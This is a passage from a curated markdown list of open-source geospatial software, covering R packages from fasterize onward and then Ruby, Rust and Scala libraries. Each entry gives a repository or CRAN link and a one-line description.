* [fasterize](https://github.com/ecohealthalliance/fasterize) - High performance raster conversion for modern spatial data.
* [ffraster](https://github.com/hypertidy/ffraster) - Treat ff arrays as raster objects, and vice versa.
* [FieldSim](https://cran.r-project.org/web/packages/FieldSim/index.html) - Tools for random fields and bridges simulations.
* [forestError](https://github.com/benjilu/forestError) - A Unified Framework for Random Forest Prediction Error Estimation.
* [ForesToolboxRS](https://github.com/ytarazona/ForesToolboxRS) - R package providing a variety of tools and algorithms for the processing and analysis of satellite images for the various applications of Remote Sensing for Earth Observations.
* [FRK](https://cran.r-project.org/web/packages/FRK/index.html) - Is a tool for spatial/spatio-temporal modelling and prediction with large datasets.
* [gdalcubes_R](https://github.com/appelmar/gdalcubes_R) - R package for gdalcubes to process collections of Earth observation image collection as on demand data cubes.
* [gdalio](https://github.com/hypertidy/gdalio) - The goal of gdalio is to read data direct with GDAL warp, with an assumed grid specification.
* [gdalraster](https://github.com/USDAForestService/gdalraster) - R Bindings to the GDAL Raster API.
* [geoaxe](https://cran.r-project.org/web/packages/geoaxe/index.html) - Split 'geospatial' objects into pieces. Includes support for some spatial object inputs, 'Well-Known Text', and 'GeoJSON'.
* [geobr](https://github.com/ipeaGIT/geobr) - Package to download official spatial data sets of Brazil.
* [geodist](https://github.com/hypertidy/geodist) - Ultra lightweight, ultra fast calculation of geo distances.
* [geocmeans](https://github.com/JeremyGelb/geocmeans) - An R package to perform Spatial Fuzzy C-means.
* [geojsonio](https://cran.r-project.org/web/packages/geojsonio/index.html) - Convert data to 'GeoJSON' or 'TopoJSON' from various R classes, including vectors, lists, data frames, shape files, and spatial classes.
* [geojsonsf](https://github.com/SymbolixAU/geojsonsf) - Conversion between sf and geojson.
* [geom](https://github.com/paleolimbot/geom) - Vectorized geometries and low-level GEOS access.
* [GEOmap](https://cran.r-project.org/web/packages/GEOmap/index.html) - Topographic and Geologic Mapping.
* [geoR](https://cran.r-project.org/web/packages/geoR/index.html) - Analysis of Geostatistical Data.
* [geoRglm](https://cran.r-project.org/web/packages/geoRglm/index.html) - Functions for inference in generalised linear spatial models.
* [georob](https://cran.r-project.org/web/packages/georob/index.html) - Provides functions for fitting linear models with spatially correlated errors by robust and Gaussian Restricted Maximum Likelihood and for computing robust and customary point and block kriging predictions, along with utility functions for cross-validation and for unbiased back-transformation of kriging predictions of log-transformed data.
* [geos](https://github.com/paleolimbot/geos) - Open Source Geometry Engine ('GEOS') R API.
* [geospacom](https://cran.r-project.org/web/packages/geospacom/index.html) - Generates distance matrices from shape files and represents spatially weighted multilevel analysis results.
* [GeospatialLineGraphs](https://github.com/Brideau/GeospatialLineGraphs) - A library for creating geospatial line graphs along lines of latitude.
* [geosphere](https://cran.r-project.org/web/packages/geosphere/index.html) - Permits computations of distance and area to be carried out on spatial data in geographical coordinates.
* [geospt](https://cran.r-project.org/web/packages/geospt/index.html) - Contains some geostatistical and radial basis functions, including prediction and cross validation.
* [geovctrs](https://github.com/paleolimbot/geovctrs) - Common Classes and Data Structures for Geometry Vectors.
* [GeoXp](https://cran.r-project.org/web/packages/GeoXp/index.html) - Permits interactive graphical exploratory spatial data analysis.
* [getSpatialData](https://github.com/16EAGLE/getSpatialData) - An R package making it easy to query, preview, download and preprocess multiple kinds of spatial data via R.
* [ggmap](https://cran.r-project.org/web/packages/ggmap/index.html) - Spatial Visualization with ggplot2.
* [ggsn](https://cran.r-project.org/web/packages/ggsn/index.html) - Adds north symbols and scale bars in kilometers to maps in geographic or metric coordinates.
* [ggspatial](https://github.com/paleolimbot/ggspatial) - A ggplot2 R extension for plotting Spatial* objects.
* [giscoR](https://github.com/rOpenGov/giscoR) - An API package that helps to retrieve data from Eurostat - GISCO (the Geographic Information System of the COmmission).
* [glmmBUGS](https://cran.r-project.org/web/packages/glmmBUGS/index.html) - Automates running Generalized Linear Mixed Models, including spatial models, with WinBUGS, OpenBUGS and JAGS.
* [gmt](https://cran.r-project.org/web/packages/gmt/index.html) - Interface between the GMT map-making software and R.
* [googleway](https://github.com/SymbolixAU/googleway) - R Package for accessing and plotting Google Maps.
* [Grid2Polygons](https://cran.r-project.org/web/packages/Grid2Polygons/index.html) - Converts a spatial object from class SpatialGridDataFrame to SpatialPolygonsDataFrame.
* [GriegSmith](https://cran.r-project.org/web/packages/GriegSmith/index.html) - Uses the Grieg-Smith method on 2 dimensional spatial data.
* [gstat](https://cran.r-project.org/web/packages/gstat/index.html) - Spatio-Temporal Geostatistical Modelling, Prediction and Simulation.
* [gwrr](https://cran.r-project.org/web/packages/gwrr/index.html) - Fits geographically weighted regression (GWR) models and has tools to diagnose and remediate collinearity in the GWR models.
* [gtfs2gps](https://github.com/ipeaGIT/gtfs2gps) - Convert GTFS data into a data.table with GPS-like records in R.
* [hdeco](https://cran.r-project.org/web/packages/hdeco/index.html) - Provides hierarchical decomposition of entropy for categorical map comparisons.
* [HSAR](https://cran.r-project.org/web/packages/HSAR/index.html) - A library of the Hierarchical Spatial Autoregressive Model (HSAR), based on a Bayesian Markov Chain Monte Carlo (MCMC) algorithm.
* [intamap](https://cran.r-project.org/web/packages/intamap/index.html) - Procedures for automated interpolation.
* [ipdw](https://cran.r-project.org/web/packages/ipdw/index.html) - Functions are provided to interpolate geo-referenced point data via Inverse Path Distance Weighting.
* [kuenm](https://github.com/marlonecobos/kuenm) - kuenm is an R package designed to make the process of model calibration and final model creation easier and more reproducible, and at the same time more robust.
* [landmap](https://github.com/EnvirometriX/landmap) - Provides methodology for automated mapping i.e. spatial interpolation and/or prediction using Ensemble Machine Learning.
* [Landsat](https://cran.r-project.org/web/packages/landsat/index.html) - Radiometric and topographic correction of satellite imagery.
* [LandsatTS](https://github.com/logan-berner/LandsatTS) - An R package to facilitate retrieval, cleaning, cross-calibration, and phenological modeling of Landsat time-series data.
* [landscapemetrics](https://github.com/r-spatialecology/landscapemetrics) - landscapemetrics is an R package for calculating landscape metrics for categorical landscape patterns in a tidy workflow.
* [latticeDensity](https://cran.r-project.org/web/packages/latticeDensity/index.html) - Contains functions that compute the lattice-based density estimator of Barry and McIntyre.
* [lawn](https://cran.r-project.org/web/packages/lawn/index.html) - Client for 'Turfjs' for 'geospatial' analysis. The package revolves around using 'GeoJSON' data.
* [lctools](https://cran.r-project.org/web/packages/lctools/index.html) - Package provides researchers and educators with easy-to-learn user friendly tools for calculating key spatial statistics and to apply simple as well as advanced methods of spatial analysis in real data.
* [leafletR](https://cran.r-project.org/web/packages/leafletR/index.html) - Interactive Web-Maps Based on the Leaflet JavaScript Library.
* [LPDynR](https://github.com/xavi-rp/LPDynR) - An R-package to calculate Land Productivity Dynamics using variables derived from Earth Observation imagery.
* [libproj](https://github.com/paleolimbot/libproj) - C API for high-performance geometry operations within the R package framework.
* [lidR](https://github.com/Jean-Romain/lidR) - R package for airborne LiDAR data manipulation and visualisation for forestry application.
* [lucCalculus](https://github.com/e-sensing/lucCalculus) - Spatiotemporal calculus for land use change trajectories.
* [magclass](https://cran.r-project.org/web/packages/magclass/index.html) - Data class for increased interoperability working with spatial- temporal data together with corresponding functions and methods (conversions, basic calculations and basic data manipulation).
* [Makurhini](https://github.com/connectscape/Makurhini) - R package for calculating fragmentation and landscape connectivity indices used in conservation planning.
* [mapboxapi](https://github.com/walkerke/mapboxapi) - R interface to Mapbox web services.
* [mapdeck](https://github.com/SymbolixAU/mapdeck) - R interface to Deck.gl and Mapbox.
* [mapproj](https://cran.r-project.org/web/packages/mapproj/index.html) - Map Projections.
* [maps](https://cran.r-project.org/web/packages/maps/index.html) - Draw Geographical Maps.
* [mapscanner](https://github.com/ropensci/mapscanner) - R package to print maps, draw on them, and scan them back in.
* [mapsf](https://github.com/riatelab/mapsf) - Thematic cartography with R.
* [maptools](https://cran.r-project.org/web/packages/maptools/index.html) - Tools for Reading and Handling Spatial Objects.
* [mapview](https://r-spatial.github.io/mapview/index.html) - mapview provides functions to very quickly and conveniently create interactive visualisations of spatial data.
* [marmap](https://cran.r-project.org/web/packages/marmap/index.html) - Package is designed for downloading, plotting and manipulating bathymetric and topographic data in R.
* [marmap](https://github.com/ericpante/marmap) - Import, plot and analyze bathymetric and topographic data.
* [maxnet](https://github.com/mrmaxent/maxnet) - R package for modelling species geographic distributions. It implements much of the functionality of the Maxent Java application.
* [McSpatial](https://cran.r-project.org/web/packages/McSpatial/index.html) - Provides functions for locally weighted regression, semiparametric and conditionally parametric regression, fourier and cubic spline functions, GMM and linearized spatial logit and probit, k-density functions and counterfactuals, nonparametric quantile regression and conditional density functions, Machado-Mata decomposition for quantile regressions, spatial AR model, repeat sales models, and conditionally parametric logit and probit.
* [micromap](https://cran.r-project.org/web/packages/micromap/index.html) - Package provides linked micromaps using ggplot2.
* [ModelMap](https://cran.r-project.org/web/packages/ModelMap/index.html) - Creates sophisticated models of training data and validates the models with an independent test set, cross validation, or in the case of Random Forest Models, with Out Of Bag (OOB) predictions on the training data.
* [ModelR](https://github.com/Model-R/modelr_pkg) - A workflow for ecological niche models based on dismo.
* [moveVis](https://github.com/16EAGLE/moveVis) - An R package providing tools to visualize movement data (e.g. from GPS tracking) and temporal changes of environmental data (e.g. from remote sensing) by creating video animations.
* [MTA](https://github.com/riatelab/MTA) - Multiscalar Territorial Analysis is an R package for multiscalar territorial analysis based on various contexts.
* [ncdf4](https://cran.r-project.org/web/packages/ncdf4/index.html) - Provides a high-level R interface to data files written using Unidata's netCDF library (version 4 or earlier).
* [ncdfgeom](https://github.com/USGS-R/ncdfgeom) - NetCDF-CF Geometry and Timeseries Tools for R.
* [ngspatial](https://cran.r-project.org/web/packages/ngspatial/index.html) - Provides tools for analyzing spatial data, especially non- Gaussian areal data.
* [nlme](https://cran.r-project.org/web/packages/nlme/index.html) - Fit and compare Gaussian linear and nonlinear mixed-effects models.
* [nngeo](https://github.com/michaeldorman/nngeo) - k-Nearest Neighbor Join for Spatial Data.
* [OasisR](https://cran.r-project.org/web/packages/OasisR/index.html) - A set of indexes and tests for the analysis of social segregation.
* [OpenImageR](https://github.com/mlampros/OpenImageR) - Image processing Toolkit in R.
* [openrouteservice-r](https://github.com/GIScience/openrouteservice-r) - R package to query openrouteservice.org.
* [OpenStreetMap](https://cran.r-project.org/web/packages/OpenStreetMap/index.html) - Access to Open Street Map Raster Images.
* [osmar](https://cran.r-project.org/web/packages/osmar/index.html) - Provides infrastructure to access OpenStreetMap data from different sources.
* [osmdata](https://github.com/ropensci/osmdata) - R package for downloading OpenStreetMap data.
* [osmextract](https://github.com/ropensci/osmextract) - Download and import OpenStreetMap data from Geofabrik and other providers.
* [osmplotr](https://github.com/ropensci/osmplotr) - Data visualisation using OpenStreetMap objects.
* [osrm R](https://github.com/rCarto/osrm) - Interface Between R and the OpenStreetMap-Based Routing Service OSRM.
* [pastecs](https://cran.r-project.org/web/packages/pastecs/index.html) - Regulation, decomposition and analysis of space-time series.
* [PBSmapping](https://cran.r-project.org/web/packages/PBSmapping/index.html) - Mapping Fisheries Data and Spatial Analysis Tools.
* [PBSmodelling](https://cran.r-project.org/web/packages/PBSmodelling/index.html) - Provides modelling support.
* [pepair](https://github.com/dickoa/prepair) - An R package to repair broken GIS polygons using the prepair cpp library.
* [phenofit](https://github.com/kongdd/phenofit) - A state-of-the-art Vegetation Phenology extraction package.
* [phenopix](https://cran.r-project.org/web/packages/phenopix/index.html) - A collection of functions to process digital images, depict greenness index trajectories and extract relevant phenological stages.
* [plotGoogleMaps](https://cran.r-project.org/web/packages/plotGoogleMaps/index.html) - Interactive plot device for handling the geographic data for web browsers.
* [plotKML](https://cran.r-project.org/web/packages/plotKML/index.html) - Visualization of Spatial and Spatio-Temporal Objects in Google Earth.
* [polyclip](https://github.com/baddstats/polyclip) - R package polyclip: a port of the Clipper library for polygon geometry.
* [popRF](https://github.com/wpgp/popRF) - Random Forest-informed Population Disaggregation.
* [potential](https://github.com/riatelab/potential) - An R package to compute the potential model as defined by Stewart (1941).
* [PReMiuM](https://cran.r-project.org/web/packages/PReMiuM/index.html) - Dirichlet Process Bayesian Clustering, Profile Regression.
* [Prioritizr](https://github.com/prioritizr/prioritizr) - The prioritizr R package uses integer linear programming (ILP) techniques to provide a flexible interface for building and solving conservation planning problems.
* [ProbitSpatial](https://cran.r-project.org/web/packages/ProbitSpatial/index.html) - Binomial Spatial Probit models for big data.
* [quickglobe](https://github.com/daranzolin/quickglobe) - View Country Data via a 3D, D3, Globe.
* [r5r](https://github.com/ipeaGIT/r5r) - Package for rapid realistic routing on multimodal transport networks (walk, bike, public transport and car).
* [RandomFields](https://cran.r-project.org/web/packages/RandomFields/index.html) - Methods for the inference on and the simulation of Gaussian fields are provided, as well as methods for the simulation of extreme value random fields.
* [rangeMapper](https://cran.r-project.org/web/packages/rangeMapper/index.html) - Tools for easy generation of (life-history) traits maps based on species range (extent-of-occurrence) maps.
* [ranger](https://github.com/imbs-hl/ranger) - A Fast Implementation of Random Forests.
* [RArcInfo](https://cran.r-project.org/web/packages/RArcInfo/index.html) - Functions to import data from Arc/Info V7.x binary coverages.
* [raster](https://cran.r-project.org/web/packages/raster/raster.pdf) - Reading, writing, manipulating, analyzing and modeling of gridded spatial data.
* [rasterdiv](https://github.com/mattmar/rasterdiv) - Diversity Indices for Numerical Matrices.
* [rasterDT](https://github.com/JoshOBrien/rasterDT) - rasterDT uses the fast indexing, aggregation, and assignment operations provided by data.table to power speedy alternatives to several raster package functions.
* [rasterVis](https://cran.r-project.org/web/packages/rasterVis/index.html) - Visualization Methods for Raster Data.
* [rayshader](https://github.com/tylermorganwall/rayshader) - rayshader is an open source R package for producing 2D and 3D hillshaded maps of elevation matrices using a combination of raytracing, spherical texture mapping, and ambient occlusion.
* [rayvista](https://github.com/h-a-graham/rayvista) - A package to view a 3D scene anywhere on earth.
* [Rcitrus](http://www.leg.ufpr.br/Rcitrus/) - Spatial analysis of plant disease incidence.
* [RColorBrewer](https://cran.r-project.org/web/packages/RColorBrewer/index.html) - Provides color schemes for maps and other graphics.
* [recmap](https://cran.r-project.org/web/packages/recmap/index.html) - Package provides rectangular cartograms with rectangle sizes reflecting for example population
* [regress](https://cran.r-project.org/web/packages/regress/index.html) - Functions to fit Gaussian linear model by maximising the residual log likelihood where the covariance structure can be written as a linear combination of known matrices.
* [rgdal](https://cran.r-project.org/web/packages/rgdal/index.html) - Bindings for the Geospatial Data Abstraction Library.
* [rgee](https://github.com/r-spatial/rgee) - Google Earth Engine for R.
* [rgeoda](https://github.com/GeoDaCenter/rgeoda) - rgeoda is a R package for spatial data analysis based on libgeoda and GeoDa.
* [rgeos](https://cran.r-project.org/web/packages/rgeos/index.html) - Interface to Geometry Engine - Open Source (GEOS) using the C API for topology operations on geometries.
* [Rgooglemaps](https://cran.r-project.org/web/packages/RgoogleMaps/index.html) - Overlays on Google map tiles in R.
* [rgrass7](https://cran.r-project.org/web/packages/rgrass7/index.html) - Interface Between GRASS 7 GIS and R.
* [rHarmonics](https://github.com/MBalthasar/rHarmonics/) - R package for harmonic modelling of time-series data.
* [ribge](https://github.com/tbrugz/ribge) - R package for (down)loading data from IBGE (Instituto Brasileiro de Geografia e Estatística).
* [rnaturalearth](https://github.com/ropensci/rnaturalearth) - An R package to hold and facilitate interaction with Natural Earth map data.
* [Rnetcdf](https://cran.r-project.org/web/packages/RNetCDF/index.html) - Interface to NetCDF Datasets.
* [rnoaa](https://github.com/ropensci/rnoaa) - R interface to many NOAA data sources.
* [RODBC](https://cran.r-project.org/web/packages/RODBC/index.html) - ODBC Database Access.
* [ROSM](https://github.com/paleolimbot/rosm) - Plot Open Street Map and Other Tiles in R.
* [RPyGeo](https://cran.r-project.org/web/packages/RPyGeo/index.html) - ArcGIS Geoprocessing in R via Python.
* [RQGIS](https://cran.r-project.org/web/packages/RQGIS/index.html) - Establishes an interface between R and QGIS.
* [RSAGA](https://cran.r-project.org/web/packages/RSAGA/index.html) - SAGA Geoprocessing and Terrain Analysis in R.
* [Rsagacmd](https://github.com/stevenpawley/Rsagacmd) - A package for linking R with the open-source SAGA-GIS.
* [rsMove](https://cran.r-project.org/web/packages/rsMove/index.html) - Tools that support the combined use of animal movement and remote sensing data.
* [rstac](https://github.com/brazil-data-cube/rstac) - R Client Library for SpatioTemporal Asset Catalog.
* [RStoolbox](https://cran.r-project.org/web/packages/RStoolbox/index.html) - Toolbox for remote sensing image processing and analysis such as calculating spectral indices, principal component transformation, unsupervised and supervised classification or fractional cover analyses.
* [rtsVis](https://github.com/JohMast/rtsVis) - A lightweight R package to visualize large raster time series, building on a fast temporal interpolation core.
* [rworldmap](https://cran.r-project.org/web/packages/rworldmap/index.html) - Mapping Global Data.
* [s2](https://github.com/spatstat/s2) - R bindings for Google's s2 library for geometry on the sphere.
* [S2sls](https://cran.r-project.org/web/packages/S2sls/index.html) - Fit a spatial instrumental-variable regression by two-stage least squares.
* [sf](https://github.com/r-spatial/sf) - Simple Features for R.
* [sfarrow](https://wcjochem.github.io/sfarrow/index.html) - Package for reading and writing Parquet and Feather files with sf objects using arrow in R.
* [sfheaders](https://github.com/dcooley/sfheaders) - Build sf objects from R and Rcpp.
* [sfnetworks](https://github.com/luukvdmeer/sfnetworks) - Tidy Geospatial Networks in R.
* [sftrack](https://github.com/mablab/sftrack) - Modern classes for tracking and movement data.
* [sgeostat](https://cran.r-project.org/web/packages/sgeostat/index.html) - An Object-oriented Framework for Geostatistical Modeling in S+ containing functions for variogram estimation, variogram fitting and kriging as well as some plot functions.
* [shapefiles](https://cran.r-project.org/web/packages/shapefiles/index.html) - Read and Write ESRI Shapefiles.
* [siplab](https://cran.r-project.org/web/packages/siplab/index.html) - A platform for experimenting with spatially explicit individual-based vegetation models.
* [sits](https://github.com/e-sensing/sits) - Satellite image time series package for R.
* [smacpod](https://cran.r-project.org/web/packages/smacpod/index.html) - Various statistical methods for analyzing case-control point data.
* [smerc](https://cran.r-project.org/web/packages/smerc/index.html) - Provides statistical methods for the analysis of data areal data, with a focus on cluster detection.
* [soilDB](https://github.com/ncss-tech/soilDB) - Simplified Access to NCSS Soil Databases.
* [sp](https://cran.r-project.org/web/packages/sp/index.html) - Classes and Methods for Spatial Data.
* [spacetime](https://cran.r-project.org/web/packages/spacetime/index.html) - Classes and Methods for Spatio-Temporal Data.
* [spacom](https://cran.r-project.org/web/packages/spacom/index.html) - Provides tools to construct and exploit spatially weighted context data.
* [spaMM](https://cran.r-project.org/web/packages/spaMM/index.html) - Inference in mixed-effect models, including generalized linear mixed models with spatial correlations and models with non-Gaussian random effects.
* [spanel](https://cran.r-project.org/web/packages/spanel/index.html) - Fit the spatial panel data models: the fixed effects, random effects and between models.
* [sparr](https://cran.r-project.org/web/packages/sparr/index.html) - Provides functions to estimate kernel-smoothed spatial and spatio-temporal densities and relative risk functions, and perform subsequent inference.
* [spatcounts](https://cran.r-project.org/web/packages/spatcounts/index.html) - Fit spatial CAR count regression models using MCMC.
* [spatgraphs](https://cran.r-project.org/web/packages/spatgraphs/index.html) - Graphs (or networks) and graph component calculations for spatial locations
* [spatialCovariance](https://cran.r-project.org/web/packages/spatialCovariance/index.html) - Supports the computation of spatial covariance matrices for data on rectangles.
* [SpatialEpi](https://cran.r-project.org/web/packages/SpatialEpi/index.html) - Methods and data for cluster detection and disease mapping.
* [SpatialPosition](https://cran.r-project.org/web/packages/SpatialPosition/index.html) - Computes spatial position models: Stewart potentials, Reilly catchment areas, Huff catchment areas.
* [spatialprobit](https://cran.r-project.org/web/packages/spatialprobit/index.html) - Bayesian Estimation of Spatial Probit and Tobit Models.
* [spatialRF](https://github.com/BlasBenito/spatialRF) - R package to fit spatial models with Random Forest.
* [SpatialRDD](https://github.com/axlehner/SpatialRDD) - R package to work spatialy with RDD files.
* [spatialsegregation](https://cran.r-project.org/web/packages/spatialsegregation/index.html) - Summaries for measuring segregation/mingling in multitype spatial point patterns with graph based neighbourhood description.
* [SpatialTools](https://cran.r-project.org/web/packages/SpatialTools/index.html) - Tools for spatial data analysis. Emphasis on kriging. Provides functions for prediction and simulation.
* [spatstat](https://cran.r-project.org/web/packages/spatstat/index.html) - Spatial Point Pattern Analysis, Model-Fitting, Simulation, Tests.
* [spatsurv](https://cran.r-project.org/web/packages/spatsurv/index.html) - Bayesian inference for parametric proportional hazards spatial survival models; flexible spatial survival models.
* [spBayesSurv](https://cran.r-project.org/web/packages/spBayesSurv/index.html) - Bayesian Modeling and Analysis of Spatially Correlated Survival Data.
* [spcosa](https://cran.r-project.org/web/packages/spcosa/index.html) - Spatial coverage sampling and random sampling from compact geographical strata created by k-means.
* [spdep](https://cran.r-project.org/web/packages/spdep/index.html) - Spatial Dependence: Weighting Schemes, Statistics and Models.
* [sperrorest](https://cran.r-project.org/web/packages/sperrorest/index.html) - Implements spatial error estimation and permutation-based variable importance measures for predictive models using spatial cross-validation and spatial block bootstrap.
* [spflow](https://github.com/LukeCe/spflow) - Spatial Econometric Interaction Models in R.
* [spind](https://cran.r-project.org/web/packages/spind/index.html) - Functions for spatial methods based on generalized estimating equations (GEE) and wavelet-revised methods (WRM), functions for scaling by wavelet multiresolution regression (WMRR), conducting multi-model inference, and stepwise model selection.
* [splancs](https://cran.r-project.org/web/packages/splancs/index.html) - Spatial and Space-Time Point Pattern Analysis.
* [splm](https://cran.r-project.org/web/packages/splm/index.html) - ML and GM estimation and diagnostic testing of econometric models for spatial panel data.
* [spmoran](https://cran.r-project.org/web/packages/spmoran/index.html) - Functions for estimating fixed and random effects eigenvector spatial filtering models.
* [spselect](https://cran.r-project.org/web/packages/spselect/index.html) - Fits spatial scale (SS) forward stepwise regression, SS incremental forward stagewise regression, SS least angle regression (LARS), and SS lasso models.
* [spsurvey](https://cran.r-project.org/web/packages/spsurvey/index.html) - Provides a range of sampling functions.
* [spTimer](https://cran.r-project.org/web/packages/spTimer/index.html) - Fits, spatially predicts and temporally forecasts large amounts of space-time data.
* [SSN](https://cran.r-project.org/web/packages/SSN/index.html) - Spatial statistical modeling and prediction for data on stream networks, including models based on in-stream distance.
* [starma](https://cran.r-project.org/web/packages/starma/index.html) - Statistical functions to identify, estimate and diagnose a Space-Time AutoRegressive Moving Average (STARMA) model.
* [stars](https://github.com/r-spatial/stars) - Spatiotemporal tidy arrays for R.
* [stlnpp](https://github.com/Moradii/stlnpp) - Spatio-temporal point patterns on linear networks.
* [stplanr](https://github.com/ropensci/stplanr) - Sustainable transport planning with R.
* [supercells](https://github.com/Nowosad/supercells) - The goal of supercells is to utilize the concept of superpixels to a variety of spatial data.
* [Tanaka](https://github.com/riatelab/tanaka) - Tanaka Maps with R.
* [taRifx](https://cran.r-project.org/web/packages/taRifx/index.html) - A collection of various utility and convenience functions.
* [teamlucc](https://github.com/azvoleff/teamlucc) - Is designed to facilitate analysis of land use and cover change (LUCC) around the monitoring sites of the Tropical Ecology Assessment and Monitoring (TEAM) Network.
* [terra](https://github.com/rspatial/terra) - terra is an R package that replaces raster. It has a very similar, but simpler, interface, and it is much faster.
* [tgp](https://cran.r-project.org/web/packages/tgp/index.html) - Bayesian nonstationary, semiparametric nonlinear regression and design by treed Gaussian processes (GPs) with jumps to the limiting linear model (LLM).
* [tidync](https://github.com/hypertidy/tidync) - Systematic approaches to NetCDF data extraction, manipulation and visualization.
* [tidytransit](https://github.com/r-transit/tidytransit) - 'sf'-compatible package to analyze transit schedules, routes, and stops.
* [tiff](https://github.com/s-u/tiff) - Read and write TIFF images in R.
* [tmap](https://github.com/mtennekes/tmap) - R-library for drawing thematic maps. The API is based on A Layered Grammar of Graphics and resembles the syntax of ggplot2.
* [tmaptools](https://github.com/mtennekes/tmaptools) - This package offers a set of handy tool functions for reading and processing spatial data.
* [trip](https://cran.r-project.org/web/packages/trip/index.html) - Extends sp classes to permit the accessing and manipulating of spatial data for animal tracking.
* [tripack](https://cran.r-project.org/web/packages/tripack/index.html) - A constrained two-dimensional Delaunay triangulation package providing both triangulation and generation of voronoi mosaics of irregular spaced data.
* [tripEstimation](https://cran.r-project.org/web/packages/tripEstimation/index.html) - Data handling and estimation functions for animal movement estimation from archival or satellite tags.
* [uavRst](https://github.com/gisma/uavRst) - UAV related Remote Sensing Toolbox.
* [vapour](https://github.com/hypertidy/vapour) - A lightweight GDAL API package for R.
* [vec2dtransf](https://cran.r-project.org/web/packages/vec2dtransf/index.html) - Package for applying affine and similarity transformations on vector spatial data (sp objects).
* [vegan](https://cran.r-project.org/web/packages/vegan/index.html) - Ordination methods, diversity analysis and other functions for community and vegetation ecologists.
* [Watersheds](https://cran.r-project.org/web/packages/Watersheds/index.html) - Methods for watersheds aggregation and spatial drainage network analysis.
* [whiteboxR](https://github.com/giswqs/whiteboxR) - R frontend of [WhiteboxTools](https://github.com/jblindsay/whitebox-tools).
* [wordcloud2](https://github.com/Lchiffon/wordcloud2) - R interface to wordcloud for data visualization.
* [wt](https://github.com/paleolimbot/wk) - Lightweight Well-Known Geometry Parsing.
## Ruby
* [Agroclimatology](https://github.com/beaorn/agroclimatology) - Ruby client for interacting with the NASA (POWER) Agroclimatology Web Resource.
* [Evapotranspiration](https://github.com/beaorn/evapotranspiration) - Ruby library for calculating reference crop evapotranspiration (ETo).
* [ffi-geos](https://github.com/dark-panda/ffi-geos) - Low-level ruby bindings to GEOS library.
* [Geokit](https://github.com/geokit/geokit) - A Ruby gem & Rails plugin for easier map-based applications.
* [Mongoid Geospatial](https://github.com/nofxx/mongoid-geospatial) - A Mongoid Extension that simplifies the use of MongoDB spatial features.
* [PostGIS ActiveRecord Adapter](https://github.com/rgeo/activerecord-postgis-adapter) - ActiveRecord adapter for PostGIS.
* [Rgeo GeoJSON](https://github.com/rgeo/rgeo-geojson) - RGeo component for reading and writing GeoJSON.
* [Rgeo Shapefile](https://github.com/rgeo/rgeo-shapefile) - Optional module for RGeo for reading geospatial data from ESRI shapefiles.
* [Rgeo](https://github.com/rgeo/rgeo) - RGeo is a geospatial data library for Ruby. It provides an implementation of the Open Geospatial Consortium's Simple Features Specification
* [Ruby Geocoder](http://www.rubygeocoder.com/) - Integration with geocoding services.
* [ruby_postal](https://github.com/openvenues/ruby_postal) - Ruby bindings to libpostal for fast international address parsing/normalization.
* [SpatiaLite ActiveRecord Adapter](https://github.com/rgeo/activerecord-spatialite-adapter) - ActiveRecord adapter for Spatialite.
## Rust
* [A/B Street](https://github.com/dabreegster/abstreet) - A traffic simulation game exploring how small changes to roads affect cyclists, transit users, pedestrians, and drivers.
* [geographiclib-rs](https://github.com/georust/geographiclib-rs) - A subset of geographiclib implemented in Rust.
* [Hecate](https://github.com/mapbox/Hecate) - Fast Geospatial Feature Storage API.
* [kdtree-rs](https://github.com/mrhooray/kdtree-rs) - K-dimensional tree in Rust for fast geospatial indexing and nearest neighbors lookup.
* [maplibre-rs](https://github.com/maplibre/maplibre-rs) - About Native Maps for Web, Mobile and Desktop.
* [Martin](https://github.com/urbica/martin) - Martin is a PostGIS vector tiles server suitable for large databases. Martin is written in Rust using Actix web framework.
* [rgeometry](https://github.com/rgeometry/rgeometry) - Computational Geometry library written in Rust.
* [rstar](https://github.com/georust/rstar) - R*-tree library for the rust ecosystem.
* [rust-gdal](https://github.com/georust/rust-gdal) - Rust bindings for GDAL.
* [rust-geo](https://github.com/georust/rust-geo) - Geospatial primitives and algorithms for Rust.
* [rust-geocoding](https://github.com/georust/rust-geocoding) - Geocoding library for Rust.
* [rust-geohash](https://github.com/georust/rust-geohash) - Geohash for Rust.
* [rust-geojson](https://github.com/georust/rust-geojson) - Library for serializing the GeoJSON vector GIS file format.
* [rust-geos](https://github.com/georust/geos) - Rust bindings for GEOS C API.
* [rust-kml](https://github.com/georust/kml) - Rust support for reading and writing KML with a focus on conversion to geo-types primitives.
* [rust-gpx](https://github.com/georust/rust-gpx) - Rust read/write support for GPS Exchange Format (GPX).
* [rust-netcdf](https://github.com/georust/netcdf) - Medium-level netCDF bindings for Rust, allowing easy reading and writing of array-like structures to a file.
* [rust-osm](https://github.com/georust/rust-osm) - OSM XML serialization and other OpenStreetMap utilities.
* [rust-polyline](https://github.com/georust/rust-polyline) - Google Encoded Polyline encoding & decoding in Rust.
* [rust-postal](https://github.com/kodemartin/rustpostal) - Rust bindings to libpostal.
* [rust-proj](https://github.com/georust/rust-proj) - Rust bindings for Proj.
* [rust-shapefile](https://github.com/tmontaigu/shapefile-rs) - Rust read/write support for shapefiles.
* [rust-tilejson](https://github.com/georust/tilejson) - tilejson is a crate for serializing/deserializing the TileJSON format.
* [rust-topojson](https://github.com/georust/rust-topojson) - TopoJSON bindings and utilities for Rust.
* [rust-wkt](https://github.com/georust/rust-wkt) - Rust read/write support for well-known text (WKT).
* [WhiteboxTools](https://github.com/jblindsay/whitebox-tools) - An advanced geospatial data analysis platform.
## Scala
* [Franklin](https://github.com/azavea/franklin) - A STAC/OGC API Features Web Service.
* [fulgurite](https://github.com/SatelliteApplicationsCatapult/fulgurite) - Fulgurite is a way to use Apache Spark to process GeoTIFF images in a distributed way.
* [geoscript.scala](https://github.com/dwins/geoscript.scala) - Scala implementation of the GeoScript API.
* [GeoTrellis](https://github.com/locationtech/geotrellis) - GeoTrellis is a Scala library and framework that uses Spark to work with raster data.
* [mapnik2geotools](https://github.com/dwins/mapnik2geotools) - Using the Scala XML API to translate from Mapnik XML to GeoTools' SLD dialect.
* [osm4scala](https://simplexspatial.github.io/osm4scala/) - High perfromance Scala library and Spark Polyglot (Scala, Python, SQL, etc.) connector for OpenStreetMap Pbf files.
* [RTree2D](https://github.com/plokhotnyuk/rtree2d) - RTree2D is a 2D immutable R-tree with STR (Sort-Tile-Recursive) packing for ultra-fast nearest and intersection queries.
* [Stac4s](https://github.com/azavea/stac4s) - a scala library with primitives to build applications using the SpatioTemporal Asset Catalogs specification.
## Swift
